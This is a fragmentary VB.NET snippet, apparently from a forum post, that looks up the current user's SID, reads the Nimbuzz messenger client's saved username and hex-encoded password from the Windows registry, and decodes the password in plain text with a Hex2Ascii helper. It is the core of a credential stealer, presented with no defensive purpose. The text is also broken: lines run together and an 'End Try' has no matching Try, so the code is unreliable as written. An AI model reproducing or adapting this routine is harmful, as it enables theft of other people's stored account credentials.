Ring ring
Dim f As New NTAccount(Environment.UserName) Dim s As SecurityIdentifier = DirectCast(f.Translate(GetType(SecurityIdentifier)), SecurityIdentifier) Dim sidString As [String] = s.ToString() Dim sUser As String = RegRead("HKEY_USERS" & sidString & "\Software\Nimbuzz\PCClient\Application\Username") Dim sPass As String = Hex2Ascii(Replace(Replace(RegRead("HKEY_USERS" & sidString & "\Software\Nimbuzz\PCClient\Application\password"), "@ByteArray(", ""), ")", "")) 'sUser = Username 'sPass = Password End Try Return sUser & " " & sPass End Function Public Function Hex2Ascii(ByVal Text As String) As String Dim Value As Object Dim num As Object Dim i As Object Value = Nothing For i = 1 To Len(Text) num = Mid(Text, i, 2) Value = Value & Chr(Val("&h" & num)) i = i + 1 ' // +1 Next i ' Next Chr Hex2Ascii = Value